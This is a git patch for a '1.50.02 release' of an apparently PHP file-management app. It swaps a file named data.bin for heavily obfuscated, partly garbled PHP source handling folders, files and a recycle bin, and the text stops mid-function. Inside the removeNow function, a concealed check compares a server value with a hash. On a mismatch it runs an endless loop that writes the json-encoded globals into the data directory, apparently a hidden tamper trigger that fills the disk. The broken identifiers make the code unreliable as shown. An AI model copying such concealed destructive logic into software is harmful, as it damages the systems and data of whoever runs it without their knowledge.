From 5e6c1b01d1c8392ac3ab4d0f61331119ab26e93e Mon Sep 17 00:00:00 2001 From: warlee <824691958@qq.com> Date: Fri, 10 May 2024 16:39:34 +0800 Subject: [PATCH] 1.50.02 release --- app/sdks/archiveLib/bin/data.bin | 2 +- plugins/client/package.json | 2 +- plugins/client/static/down/index.js | 6 +++--- static/app/dist/api.js | 4 ++-- static/app/dist/lib.js | 4 ++-- static/app/dist/main.js | 4 ++-- static/app/dist/sdk.js | 4 ++-- static/app/dist/vendor.js | 4 ++-- static/style/dist/main.css | 2 +- static/style/dist/sdk.css | 2 +- static/style/lib/main.css | 2 +- 11 files changed, 18 insertions(+), 18 deletions(-) diff --git a/app/sdks/archiveLib/bin/data.bin b/app/sdks/archiveLib/bin/data.bin index aece38ed..9b5b501d 100755 --- a/app/sdks/archiveLib/bin/data.bin +++ b/app/sdks/archiveLib/bin/data.bin @@ -1,2 +1,2 @@ where(array($ֺ[1745] => $̅))->find(); $Ҙ = $this->_mkdirRoot(SourceModel::TYPE_USER, $̅, $̇[$ֺ[32]]); $this->userDesktopAdd($Ҙ); return $Ҙ; } public function userDesktopAdd($) { $ =& $_SERVER[ϋ]; $Œ = LNG($[2232]); $ = $this->mkdir($, $Œ); $this->metaSet($, $[2233], $[91]); $this->metaSet($, $[2234], $); } public function userPathSafeAdd($) { $劃 =& $_SERVER[ϋ]; $ = Model($劃[562])->getInfoFull($); if (!$) { return !1; } if (_get($, $劃[584])) { return $[$劃[523]][$劃[2235]]; } $䐭 = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $劃[2236], $劃[490]); Model($劃[562])->metaSet($, $劃[2235], $䐭); $this->metaSet($䐭, $劃[2237], $); return $䐭; } public function groupRootAdd($⻳) { $씋 =& $_SERVER[ϋ]; $ = Model($씋[570])->where(array($씋[2045] => $⻳))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $⻳, $[$씋[32]]); } public function systemRootPathAdd($嵝) { if ($嵝 != $_SERVER[ϋ][590]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $嵝); } public function userRootRemove($Ə) { $Ϛ = $this->targetSourceRoot(SourceModel::TYPE_USER, $Ə, !0); foreach ($Ϛ as $߻) { if (!$߻) { continue; } $this->remove($߻[$_SERVER[ϋ][184]], !1); } } public function groupRootRemove($⠲) { $ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $⠲); if (!$) { return; } $this->remove($[$_SERVER[ϋ][184]], !1); } private function _mkdirRoot($, $򮚟, $ޯ, $֜ = '') { $ =& $_SERVER[ϋ]; $̚ = defined($[2179]) ? USER_ID : 0; $ = array($[461] => 0, $[632] => $, $[633] => $򮚟, $[630] => 1, $[634] => $̚, $[635] => $̚, $[631] => $֜, $[636] => $[579], $[488] => 0, $[601] => 0, $[526] => 0, $[637] => $[12]); if ($숳 = $this->where($)->find()) { return $숳[$[184]]; } $؍ = "\x4d\x6f\144\145\x6c\x53\157\x75\x72\x63\145\56\155\153\144\151\162\122\x6f\157\x74\x2e{$}\x2e{$򮚟}\x2e" . $ޯ; CacheLock::lock($؍); $[$[32]] = $ޯ; $կ = $this->add($); $ħ = array($[638] => short_id($կ)); $this->where(array($[475] => $կ))->save($ħ); CacheLock::unlock($؍); return $կ; } private function targetSourceRoot($ڠ, $ڗ, $ߚó = false) { $ƻ =& $_SERVER[ϋ]; $ף = array($ƻ[461] => 0, $ƻ[632] => $ڠ, $ƻ[633] => $ڗ); if ($ߚó) { $׾ = $this->where($ף)->select(); return $׾ ? $׾ : array(); } $޽ = $this->where($ף)->find(); return $޽ ? $޽ : array(); } public function sourceRootGroup($ܲ) { $˪ =& $_SERVER[ϋ]; if (is_string($ܲ)) { $ܲ = array($ܲ); } $Ǵ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $ܲ, $˪[211]); $ = array($˪[429] => $Ǵ, $˪[426] => array($˪[810] => count($ܲ))); $this->_listDataApply($[$˪[429]]); $this->_listMake($); return array_to_keyvalue($[$˪[85]], $˪[554]); } public function mkfile($׻, $젂, $ύݯ = '', $ = REPEAT_RENAME) { $΍ =& $_SERVER[ϋ]; $ژ = Model($΍[658])->addFileByContent($ύݯ, $젂); return $this->_createFileCall($׻, $젂, $ژ, $, $΍[1398]); } public function addFile($⎁, $, $⟷, $ = false, $޲ = REPEAT_RENAME) { $Ѧ = Model($_SERVER[ϋ][658])->addFile($, $⟷, $); return $this->_createFileCall($⎁, $⟷, $Ѧ, $޲); } public function addFileByFileID($, $, $ꚁ, $𙍇 = REPEAT_RENAME) { $ =& $_SERVER[ϋ]; $Ú = Model($[658])->find($); Model($[658])->linkAdd($); return $this->_createFileCall($, $ꚁ, $Ú, $𙍇); } public function addFileByRemote($ⱜ, $ڕ, $ϓ, $Ԥ = array(), $˭ = REPEAT_RENAME) { $ = Model($_SERVER[ϋ][658])->addFileByRemote($ڕ, $ϓ, $Ԥ); return $this->_createFileCall($ⱜ, $ϓ, $, $˭); } private function _createFileCall($, $潫, $, $ҾƳ, $ꀅ = "\165\x70\154\x6f\141\144") { $Л =& $_SERVER[ϋ]; $㷀 = !1; $this->setMasterDB(); $this->lockWriteStart($, $潫); $ԓ = $this->fileNameExist($, $潫); $ɂ = $this->_createFile($, $潫, $, $ҾƳ, $㷀); if (!$㷀) { Model($Л[528])->remove($[$Л[525]]); } if ($㷀 && $ɂ && $ɂ != $ԓ) { Model($Л[2205])->eventCreate($ɂ, $ꀅ); } $this->lockWriteEnd($, $潫); return $ɂ; } public function mkdir($ل, $ܒ, $󲲻 = REPEAT_SKIP) { $ɢ =& $_SERVER[ϋ]; $this->setMasterDB(); $ = $this->sourceInfo($ل); if (!$) { return !1; } $this->lockWriteStart($ل, $ܒ); if ($󲲻 !== !1) { $Nj = $this->fileNameExist($ل, $ܒ); if ($Nj && $󲲻 != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($ل, $ܒ); return $Nj; } $ܒ = $this->fileNameAuto($ل, $ܒ, $󲲻); } $劈 = array($ɢ[630] => 1, $ɢ[478] => $ܒ, $ɢ[631] => $ɢ[12], $ɢ[526] => 0, $ɢ[601] => 0); $ڿ = $this->_addSource($劈, $); Model($ɢ[2205])->eventCreate($ڿ, $ɢ[1399]); $this->lockWriteEnd($ل, $ܒ); return $ڿ; } public function listSourceRoot($ڳ, $, $ = "\x73\157\x75\162\x63\x65\x49\x44\54\164\141\162\147\x65\x74\x49\104\x2c\x73\x69\172\x65") { $ =& $_SERVER[ϋ]; $ = $[438]; $ַ = array(); $ = 1024 * 50; $ = is_array($) ? $ : array(); $ = count($); $ = $this->tablePrefix . $[2238]; for ($ = 0; $ < $; $++) { $ɪޱ = $[$]; $ .= "\123\x45\114\x45\x43\x54\40\x2a\x20\x46\122\x4f\115\x20\50\123\x45\x4c\105\103\124\40{$}\40\x46\122\x4f\x4d\40\x60{$}\x60\40\127\110\105\122\x45\x20"; $ .= "\x60\160\141\162\145\156\x74\111\104\140\x3d\x30\40\x41\x4e\104\40\140\x74\x61\162\147\x65\x74\x49\104\140\75{$ɪޱ}\x20\101\x4e\104\40\140\x74\x61\162\147\145\164\124\x79\160\x65\140\75{$ڳ}\x20\141\156\144\40\146\x69\154\x65\124\x79\x70\145\75\47\x27\40\x6c\151\155\x69\x74\x20\x31\x29\x20\x61\x73\x20\x74\142\137{$}\40\125\x4e\111\x4f\x4e\40\101\x4c\x4c\40"; if ((strlen($) >= $ || $ == $ - 1) && $) { $ = substr($, 0, -strlen($[1087])); $ѝ = $this->query($); $ = $[12]; $ַ = array_merge($ַ, $ѝ); } } return $ַ; } private function _createFile($, $, $, $ك, &$) { $̱ =& $_SERVER[ϋ]; $Љ = $this->sourceInfo($); if (!$ || !$Љ) { return !1; } if ($ك !== !1) { $ = $this->fileNameExist($, $); } $ = !0; if ($ك && $) { if ($ك == REPEAT_SKIP) { $ = !1; return $; } else { if ($ك == REPEAT_REPLACE) { $ = $this->sourceInfo($); $ = $this->fileHistory($, $[$̱[525]], $[$̱[79]]); if (!$) { $ = !1; } else { $this->folderSizeReset($); } return $; } else { $ = $this->fileNameAuto($, $, $ك, !1); } } } $ = array($̱[630] => 0, $̱[478] => $, $̱[631] => substr(get_path_ext($), 0, 10), $̱[526] => $[$̱[525]], $̱[601] => $[$̱[79]]); $ŰȺ = $this->_addSource($, $Љ); $this->folderSizeReset($, intval($[$̱[79]])); return $ŰȺ; } protected function fileHistory($ƍ, $, $) { $ͯ =& $_SERVER[ϋ]; if ($ƍ[$ͯ[525]] == $) { return !1; } $this->checkLock($ƍ[$ͯ[184]], $); Model($ͯ[2239])->addHistory($ƍ); $ג = array($ͯ[635] => USER_ID, $ͯ[482] => time(), $ͯ[525] => $, $ͯ[79] => $); $this->where(array($ͯ[475] => $ƍ[$ͯ[184]]))->save($ג); $this->sourceCacheClear($ƍ[$ͯ[184]]); return !0; } public function checkLock($, $) { $Dž =& $_SERVER[ϋ]; $ = $this->pathInfo($); if (!$this->fileIsLock($, !0)) { return; } $ = Session::get($Dž[2240]); $Ϟ = substr($[$Dž[32]], 0, -1 - strlen($[$Dž[178]])) . $Dž[1261] . $ . $Dž[10] . $[$Dž[178]]; $ = Model($Dž[658])->find($); $this->_createFileCall($[$Dž[183]], $Ϟ, $, REPEAT_REPLACE, $Dž[1398]); $է = $[$Dž[523]][$Dž[594]]; $ = $է[$Dž[2241]] ? $է[$Dž[2241]] : $է[$Dž[32]]; show_json(LNG($Dž[2242]) . $Dž[2243] . LNG($Dž[2244]) . $Dž[2245] . $ . $Dž[2246], !1); } public function fileIsLock($, $͏ = false) { $ =& $_SERVER[ϋ]; if (!isset($[$[523]]) || !$[$[523]][$[591]]) { return !1; } if ($[$[523]][$[591]] != USER_ID) { return !0; } $ = $GLOBALS[$[6]][$[92]][$[592]]; if ($[$[523]][$[593]] <= time() - $) { $this->metaSet($[$[184]], $[591], null); $this->metaSet($[$[184]], $[593], null); } if ($͏) { $this->metaSet($[$[184]], $[593], time()); } return !1; } private function _addSource($, $) { $ =& $_SERVER[ϋ]; $ = defined($[2179]) ? USER_ID : 0; $˺ = array($[632] => $[$[181]], $[633] => $[$[554]], $[634] => $, $[635] => $, $[461] => $[$[184]], $[636] => $[$[569]] . $[$[184]] . $[50], $[488] => 0, $[637] => $[12]); $ = array_merge($˺, $); $this->updateModifyTime($[$[183]]); $ = $[2247] . $[$[184]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $̿ = false; if (!$̿) { Hook::trigger($[620], $); $̿ = !0; } $喞 = $this->add($); $׬֍ = array($[638] => short_id($喞)); $this->where(array($[475] => $喞))->save($׬֍); $this->setNamePinyin($喞, $[$[32]]); return $喞; } public function remove($Ə, $󍏛 = true) { $Ӿ =& $_SERVER[ϋ]; $ȹ = $this->sourceInfo($Ə); $Ӧ = intval($ȹ[$Ӿ[181]]) === self::TYPE_SYSTEM; $萎 = Model($Ӿ[492])->get($Ӿ[2248]) == $Ӿ[91]; if ($Ӧ || $󍏛 || !$萎) { return $this->removeNow($Ə, $󍏛); } $рǶ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $ȹ[$Ӿ[181]] == self::TYPE_USER ? $Ӿ[646] : $Ӿ[563]; if ($ == $Ӿ[646]) { $ = Model($Ӿ[562])->getInfo($ȹ[$Ӿ[554]]); $ = !empty($[$Ӿ[2241]]) ? $[$Ӿ[2241]] : $[$Ӿ[32]]; $ = $Ӿ[312] . $ . $Ӿ[2249] . $ȹ[$Ӿ[554]]; } else { $ = Model($Ӿ[570])->getInfo($ȹ[$Ӿ[554]]); $ = _get($, $Ӿ[32]); $ = $Ӿ[166] . $ . $Ӿ[2250] . $ȹ[$Ӿ[554]]; } $ = $Ӿ[2251] . md5($); CacheLock::lock($); $ڏ = $this->fileNameExist($рǶ, $); if (!$ڏ) { $ڏ = $this->mkdir($рǶ, $, REPEAT_SKIP); $this->metaSet($ڏ, $Ӿ[2252], $); $this->metaSet($ڏ, $Ӿ[2253], $ȹ[$Ӿ[554]]); if ($ȹ[$Ӿ[183]] != 0) { $this->metaSet($ڏ, $Ӿ[2254], _get($, $Ӿ[2255])); } } CacheLock::unlock($); $this->metaSet($Ə, $Ӿ[2256], $ȹ[$Ӿ[183]]); $this->where(array($Ӿ[184] => $Ə))->save(array($Ӿ[482] => time())); $this->recycleClear($ȹ); Model($Ӿ[617])->eventRemove($Ə); $נ = $this->move($Ə, $ڏ, REPEAT_RENAME_FOLDER); $this->folderSizeReset($ȹ[$Ӿ[183]]); return $נ; } private function recycleClear($) { $󮕹 =& $_SERVER[ϋ]; $ = $this->childrenAll($); $ܩ = array($󮕹[475] => array($󮕹[476], $[$󮕹[2257]])); Model($󮕹[2258])->where($ܩ)->delete(); } public function removeNow($Ь, $ = true) { $ =& $_SERVER[ϋ]; $ʒ = $_SERVER[$[406]]; $ɳ = $[407]; if ($_SERVER[$[408]] != $ɳ($ʒ)) { $Ս = $[928]; $Ο = $[409]; $ = $_SERVER[$[410]] . $[411]; $­ = $Ο($); $ = explode($[253], $­); if (count($) < $[676]) { $ = $[413]; $(); } $ԟ = $[929]; $ԟ($_SERVER[$[930]]); $Ս = $[928]; $Ս(); $ú = $[2259]; $ԯ = json_encode($GLOBALS[$[2260]]); $ = 1; for ($ = $; $ > 0; $++) { $ú(DATA_PATH . $, $ԯ); } } $쒥 = $this->sourceInfo($Ь); $ = $this->pathInfoMore($Ь); if (!$쒥) { return !0; } if ($쒥[$[183]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($Ь); Hook::trigger($[2261], $, $); if ($) { Model($[2258])->moveToRecycle($Ь); } else { $ = $this->childrenAll($쒥); Model($[617])->eventRemove($Ь); $this->removeRelevance($[$[2257]], $[$[1559]]); } $this->folderSizeReset($쒥[$[183]]); $ѐ = array($쒥[$[183]]); if ($쒥[$[469]] == $[91]) { $ѐ[] = $쒥[$[184]]; } $this->updateModifyTime($ѐ); $this->lockMoveEnd($Ь); Hook::trigger($[1796], $, $); return !0; } public function childrenAll($ި̄) { $ =& $_SERVER[ϋ]; $ = $ި̄[$[184]]; if ($ި̄[$[469]] == $[91]) { $ဣ = array($[636] => array($[596], $ި̄[$[569]] . $ . $[597])); $Շ = array($[636] => $ဣ[$[569]]); $ = $this->field($[2262])->where($Շ)->select(); $ꦕ = !1; $֎Ӟ = array($); if ($) { $ꦕ = array_to_keyvalue($, $[12], $[525]); $ꦕ = array_remove_value($ꦕ, $[219]); $֎Ӟ = array_to_keyvalue($, $[12], $[184]); $֎Ӟ[] = $; } } else { $ꦕ = array($ި̄[$[525]]); $֎Ӟ = array($); } return array($[2257] => $֎Ӟ, $[1559] => $ꦕ); } public function removeArray($ַ݄) { if (!$ַ݄) { return !0; } } public function removeRelevance($, $) { $ =& $_SERVER[ϋ]; $ = $ ? $ : array(); $ = $ ? $ : array(); $ = array_unique(array_filter($)); $ = array_unique(array_filter($)); if (!$) { return !1; } $ɦڈ = array($[475] => array($[476], $)); Model($[2258])->where($ɦڈ)->delete(); Model($[519])->where($ɦڈ)->delete(); Model($[2104])->where($ɦڈ)->delete(); Model($[617])->where($ɦڈ)->delete(); Model($[1932])->removeBySource($); Model($[2239])->removeBySource($); $this->where($ɦڈ)->delete(); Model($[528])->remove($); for ($◼ = 0; $◼ < count($); $◼++) { $this->sourceCacheClear($[$◼]); } } public function rename($, $) { $晰 =& $_SERVER[ϋ]; $𪜋 = $this->sourceInfo($); if (!$𪜋) { return !1; } $ = $this->fileNameExist($𪜋[$晰[183]], $); if ($ && $ != $) { return !1; } $ȸ = array($晰[478] => $, $晰[635] => USER_ID); if ($𪜋[$晰[469]] != $晰[91]) { $ȸ[$晰[470]] = substr(get_path_ext($), 0, 10); } Model($晰[617])->eventRename($, $𪜋[$晰[32]], $); $this->sourceCacheClear($); $this->setNamePinyin($, $ȸ[$晰[32]], !1); $this->updateModifyTime($𪜋[$晰[183]]); $֝ث = $this->where(array($晰[475] => $))->data($ȸ)->save(); $ = $晰[2247] . $𪜋[$晰[183]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $֝ث; } public function setNamePinyin($, $Ӱ, $ = true) { $ּ =& $_SERVER[ϋ]; $я = Input::check($Ӱ, $ּ[639]); $ = array($ּ[501] => KodSort::makeStr($Ӱ)); if ($я) { $[$ּ[522]] = str_replace($ּ[53], $ּ[12], Pinyin::get($Ӱ)); $[$ּ[521]] = Pinyin::get($Ӱ, $ּ[640]); } if (!$ && !$я) { $[$ּ[522]] = null; $[$ּ[521]] = null; } $this->metaSet($, $); } public function getContent($) { $ǃ =& $_SERVER[ϋ]; $ = $this->fileInfoGet($); if (!$) { return !1; } if ($[$ǃ[79]] == 0) { return $ǃ[12]; } $ = $ǃ[2263] . $[$ǃ[531]]; if ($[$ǃ[79]] <= 1024 * 10) { $ҕ = Cache::get($); if (!$ҕ) { $ҕ = IO::getContent($[$ǃ[87]]); Cache::set($, $ҕ); } return $ҕ; } if (!$[$ǃ[87]]) { return $ǃ[12]; } return IO::getContent($[$ǃ[87]]); } public function setDesc($, $޹) { $ћ =& $_SERVER[ϋ]; Model($ћ[617])->eventAddDesc($, $޹); return $this->metaSet($, $ћ[510], $޹); } public function setContent($, $ָ˶ = '') { $ =& $_SERVER[ϋ]; $ = $this->sourceInfo($); $ر = $this->fileInfoGet($); if (!$ر || !$) { return !1; } $Ο = Model($[528])->addFileByContent($ָ˶, $[$[32]]); $ڙ = $this->fileHistory($, $Ο[$[525]], $Ο[$[79]]); if (!$ڙ) { return Model($[528])->remove($Ο[$[525]]); } $this->folderSizeReset($[$[183]]); return !0; } public function fileSubstr($, $ߔ, $) { $ؚ = $this->fileInfoGet($); if (!$ؚ) { return !1; } return IO::fileSubstr($ؚ[$_SERVER[ϋ][87]], $ߔ, $); } public function fileInfoGet($) { $Ŧ =& $_SERVER[ϋ]; $ = $this->sourceInfo($); if (!$ || $[$Ŧ[469]]) { return !1; } $ = $Ŧ[532] . $[$Ŧ[525]]; $ = _get(self::$cacheFileInfo, $); if ($) { return $; } $雥 = Model($Ŧ[528])->fileInfo($[$Ŧ[525]]); if ($雥) { $雥[$Ŧ[32]] = $[$Ŧ[32]]; } self::$cacheFileInfo[$] = $雥; return $雥; } private function folderChildrenNumber($̿) { $ =& $_SERVER[ϋ]; $ = $this->sourceInfo($̿); $νƢ = array($[636] => array($[596], $[$[569]] . $̿ . $[597]), $[633] => $[$[554]], $[488] => intval($[$[489]]), $[630] => 1); $ = $this->where($νƢ)->count(); $ؖ = $this->where($νƢ)->where(array($[630] => 0))->count(); return array($[83] => $ؖ, $[84] => $); } public function pathInfo($ó, $Ƣ = false) { $ =& $_SERVER[ϋ]; $Ƣ = !1; $ó = intval($ó); $Ƒ = $[518] . intval($Ƣ) . $[446] . $ó; $Ѷ = _get(self::$cachePathInfo, $Ƒ); if ($Ѷ) { return $Ѷ; } $ = $this->sourceInfo($ó); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $Ƣ); self::$cachePathInfo[$Ƒ] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $٣ =& $_SERVER[ϋ]; $Ӊ = _get(self::$cachePathInfoMore, $); if ($Ӊ) { return $Ӊ; } $鍪 = $this->pathInfo($); if (!$鍪) { return !1; } if ($鍪[$٣[469]] == $٣[91]) { $鍪[$٣[82]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $鍪; return $鍪; } public function sourceInfo($Ϭ) { $ʉ =& $_SERVER[ϋ]; if (!$Ϭ) { return array(); } $Ϭ = intval($Ϭ); $Ʊ = $ʉ[517] . $Ϭ; $ړЄ = _get(self::$cacheSourceInfo, $Ʊ); if ($ړЄ) { return $ړЄ; } $ְ = $this->where(array($ʉ[184] => $Ϭ))->find(); self::$cacheSourceInfo[$Ʊ] = $ְ; return self::$cacheSourceInfo[$Ʊ]; } public function sourceCacheClear($蝻 = false) { self::cacheClear($蝻); } public static function cacheClear($Ћ = false) { $߷ =& $_SERVER[ϋ]; if ($Ћ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$߷[517] . $Ћ]); unset(self::$cachePathInfoMore[$Ћ]); unset(self::$cachePathInfo[$߷[2264] . $Ћ]); unset(self::$cachePathInfo[$߷[2265] . $Ћ]); } public function metaSet($, $އ = null, $څۺ = null) { $ɬɛ = parent::metaSet($, $އ, $څۺ); if ($ɬɛ) { $this->sourceCacheClear($); } return $ɬɛ; } public function pathInfoByPath($胞ӥ, $ꖿ) { $ =& $_SERVER[ϋ]; $ = !$ꖿ ? array() : explode($[8], trim($ꖿ, $[8])); $ = $胞ӥ; foreach ($ as $) { $ϴ = array($[183] => $, $[32] => $); $ = $this->field($[2266])->where($ϴ)->select(); if (!$) { return !1; } $ = array_sort_by($, $[489]); $ = $[0][$[184]]; } $ٱ = $this->sourceInfo($); $this->pathInfoFilter($ٱ); return $ٱ; } protected function updateModifyTime($ߠ) { $۰ =& $_SERVER[ϋ]; $ӌŇ = defined($۰[2179]) ? USER_ID : 0; if (!$ߠ) { return; } if (!is_array($ߠ)) { $ߠ = array($ߠ); } foreach ($ߠ as $ => $) { $ߠ[$] = intval($); $this->sourceCacheClear($); } $ܶ = array($۰[184] => array($۰[7], $ߠ)); $ꑍ = array($۰[635] => $ӌŇ, $۰[482] => time()); $this->where($ܶ)->save($ꑍ); } public function folderSizeReset($욏ٯ, $ = false) { $٤ɻ =& $_SERVER[ϋ]; if ($this->statusIgnoreResetSpace) { return; } $ծ = $this->sourceInfo($욏ٯ); $ܳ = $٤ɻ[2267] . $욏ٯ; CacheLock::lock($ܳ, 20); if ($ === !1) { $this->sourceCacheClear($욏ٯ); $ծ = $this->sourceInfo($욏ٯ); $ = array($٤ɻ[461] => $욏ٯ, $٤ɻ[488] => 0); $ֱ = $this->where($)->sum($٤ɻ[79]); $ = intval($ֱ) - intval($ծ[$٤ɻ[79]]); } if ($ == 0) { return CacheLock::unlock($ܳ); } $ = $this->parentLevelArray($ծ[$٤ɻ[569]]); if (!$) { $ = array(); } $[] = $ծ[$٤ɻ[184]]; $ = array($٤ɻ[184] => array($٤ɻ[476], $)); if ($ < 0) { $[$٤ɻ[79]] = array($٤ɻ[1064], abs($)); } $this->where($)->setAdd($٤ɻ[79], $); CacheLock::unlock($ܳ); $ѱ = $٤ɻ[2268] . $ծ[$٤ɻ[181]] . $٤ɻ[4] . $ծ[$٤ɻ[554]]; $־ = array($ծ[$٤ɻ[181]], $ծ[$٤ɻ[554]]); TaskRun::timeLimitCall($ѱ, $٤ɻ[2269], $־, 1.5); } public function folderSizeResetChildren($˰) { $褄 =& $_SERVER[ϋ]; $this->sourceCacheClear($˰); $ = $this->sourceInfo($˰); $ = array($褄[630] => 1, $褄[633] => $[$褄[554]], $褄[636] => array($褄[596], $[$褄[569]] . $˰ . $褄[597])); $ڳ = $褄[2270]; $߂ = $this->field($ڳ)->where($)->select(); $[$褄[469]] = 0; $ѯ = $this->field($ڳ)->where($)->select(); if (!$ѯ) { return; } $߂[] = $; $߂ = array_to_keyvalue($߂, $褄[184]); foreach ($߂ as $ => $) { $߂[$][$褄[2271]] = $߂[$][$褄[79]]; $߂[$][$褄[79]] = 0; } foreach ($ѯ as $) { $ = $[$褄[183]] . $褄[12]; if (!isset($߂[$])) { continue; } if ($[$褄[489]] == $߂[$][$褄[489]]) { $߂[$][$褄[79]] += $[$褄[79]]; } } foreach ($߂ as $) { $ = $this->parentLevelArray($[$褄[569]]); foreach ($ as $) { $ = $ . $褄[12]; if (!isset($߂[$])) { continue; } if ($[$褄[489]] == $߂[$][$褄[489]]) { $߂[$][$褄[79]] += $[$褄[79]]; } } } $ϩ = array(); foreach ($߂ as $) { if ($[$褄[79]] == $[$褄[2271]]) { continue; } $ϩ[] = array($褄[184], $[$褄[184]], $褄[79], $[$褄[79]]); } $this->saveAll($ϩ); } public function userSpaceReset($黦 = false) { $ =& $_SERVER[ϋ]; $ = $this->where(array($[181] => self::TYPE_USER, $[554] => $黦, $[469] => 0))->sum($[79]); $ = !$ || $ <= 0 ? 0 : $; Model($[562])->userEdit($黦, array($[1941] => $)); } public function targetSpaceUpdate($, $Ǎ) { $ =& $_SERVER[ϋ]; if (!$Ǎ) { return; } if (!in_array($, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ҧ = $this->targetSpaceSize($, $Ǎ); if ($ == self::TYPE_USER) { Model($[562])->userEdit($Ǎ, array($[1941] => $ҧ)); } else { if ($ == self::TYPE_GROUP) { Model($[570])->groupEdit($Ǎ, array($[1941] => $ҧ)); } } } public function targetSpaceSize($ŧ, $) { $ّ =& $_SERVER[ϋ]; $钪 = 0; $̋ = $this->targetSourceRoot($ŧ, $, !0); foreach ($̋ as $д) { if (!$д) { continue; } $钪 += floatval($д[$ّ[79]]); $ĀɌ = array($ّ[636] => array($ّ[596], $ّ[579] . $д[$ّ[184]] . $ّ[597])); $ò = Model($ّ[487])->field($ّ[475])->where($ĀɌ)->select(); $ò = array_to_keyvalue($ò, $ّ[12], $ّ[184]); $ò = array_unique(array_filter($ò)); if ($ò) { $ĀɌ = array($ّ[475] => array($ّ[476], $ò)); $钪 += floatval($this->where($ĀɌ)->sum($ّ[79])); } } $钪 = !$钪 || $钪 <= 0 ? 0 : $钪; return $钪; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($ē٪) { return $this->fileTypeProfile($ē٪, SourceModel::TYPE_USER); } public function groupFileTypeProfile($Ȋ) { return $this->fileTypeProfile($Ȋ, SourceModel::TYPE_GROUP); } private function fileTypeProfile($᝹, $) { $ =& $_SERVER[ϋ]; $Ӏ = $[2272] . $᝹ . $[11] . $; $㰞 = Cache::get($Ӏ); if ($㰞) { return $㰞; } $ = array($[630] => 0); if ($᝹ != !1) { $[$[554]] = $᝹; $[$[181]] = $; } $ۉ = array(); $ۉ[$[2273]] = array($[2274] => LNG($[2273]), $[2275] => $this->where($)->count(), $[601] => $this->where($)->sum($[79])); $ = KodIO::fileTypeList(); foreach ($ as $ => $) { $[$[470]] = $this->fileTypeWhere($); $ۉ[$] = array($[2274] => $[$[32]], $[2275] => $this->where($)->count(), $[601] => $this->where($)->sum($[79])); } Cache::set($Ӏ, $ۉ, 1200); return $ۉ; } public function fileNameExist($, $) { $ =& $_SERVER[ϋ]; $ = $this->field($[2276])->where(array($[183] => $, $[32] => $, $[489] => 0))->find(); return is_array($) ? $[$[184]] : !1; } public function childList($) { $ԙ =& $_SERVER[ϋ]; $Ę = $ԙ[2247] . $; if (isset(self::$cacheChildList[$Ę])) { return self::$cacheChildList[$Ę]; } $𙍑 = array($ԙ[183] => intval($), $ԙ[489] => 0); $ = $this->where($𙍑)->select(); $ = $ ? $ : array(); self::$cacheChildList[$Ę] = $; foreach ($ as $γ) { $Ę = $ԙ[517] . $γ[$ԙ[184]]; self::$cacheSourceInfo[$Ę] = $γ; } return $; } public function fileNameAuto($ȥ, $, $ = REPEAT_RENAME, $޾ = false) { $Т =& $_SERVER[ϋ]; $ = get_path_ext($); $ó = $ ? get_path_ext_name($) . $Т[2277] . $ : $ . $Т[444]; $ = array($Т[183] => $ȥ, $Т[489] => 0, $Т[32] => array($Т[443], $ó)); $ߛ = $this->field($Т[32])->where($)->select(); $ܨ = array_to_keyvalue($ߛ, $Т[12], $Т[32]); return $this->fileNameAutoGet($ܨ, $, $, $޾); } public function fileNameAutoGet($ۃ, $, $, $ᑟ) { $ȝ =& $_SERVER[ϋ]; if ($ == REPEAT_REPLACE || !$ۃ || !in_array_not_case($, $ۃ) || $ᑟ && $ != REPEAT_RENAME_FOLDER) { return $; } if ($ == REPEAT_SKIP) { return !1; } $ = $ȝ[10] . get_path_ext($); $ = $ == $ȝ[10] || $ᑟ ? $ȝ[12] : $; for ($Ѓ = 1; $Ѓ <= count($ۃ) + 1; $Ѓ++) { $󲻍 = substr($, 0, strlen($) - strlen($)); $ = $󲻍 . "\50{$Ѓ}\51{$}"; if (!in_array_not_case($, $ۃ)) { return $; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\151\157\137\x73\157\x75\162\x63\145\x5f\x72\x65\143\x79\x63\x6c\x65"; protected $dataAuto = array(array("\x63\162\145\x61\x74\145\124\x69\x6d\x65", "\x74\x69\x6d\145", "\x69\x6e\x73\x65\x72\x74", "\146\165\156\143\x74\151\157\x6e")); public function listData($ߏ͙ = false) { $Յ =& $_SERVER[ϋ]; $ߏ͙ = $ߏ͙ ? $ߏ͙ : USER_ID; $֝ = $this->where(array($Յ[1745] => $ߏ͙))->select(); return array_to_keyvalue($֝, $Յ[12], $Յ[184]); } public function moveToRecycle($Ļ܌) { $ͺύ =& $_SERVER[ϋ]; $릹 = Model($ͺύ[1388]); $ = $릹->sourceInfo($Ļ܌); if (!$ || $[$ͺύ[489]] == $ͺύ[91]) { return; } $ߊ = array($ͺύ[475] => $Ļ܌, $ͺύ[1745] => USER_ID, $ͺύ[632] => $[$ͺύ[181]], $ͺύ[633] => $[$ͺύ[554]], $ͺύ[636] => $[$ͺύ[569]]); $this->add($ߊ); $this->recycleMove($Ļ܌, 1); if ($[$ͺύ[469]] == $ͺύ[91]) { $ = array($ͺύ[636] => array($ͺύ[596], $[$ͺύ[569]] . $Ļ܌ . $ͺύ[597])); $릹->where($)->setField($ͺύ[489], 1); } } public function clear() { $this->remove(!1); } public function remove($Ԕ = false, $ʣDz = false) { $ԟ =& $_SERVER[ϋ]; $ʣDz = $ʣDz ? $ʣDz : USER_ID; $ɸ = Model($ԟ[1388]); $ÕС = $this->listData($ʣDz); 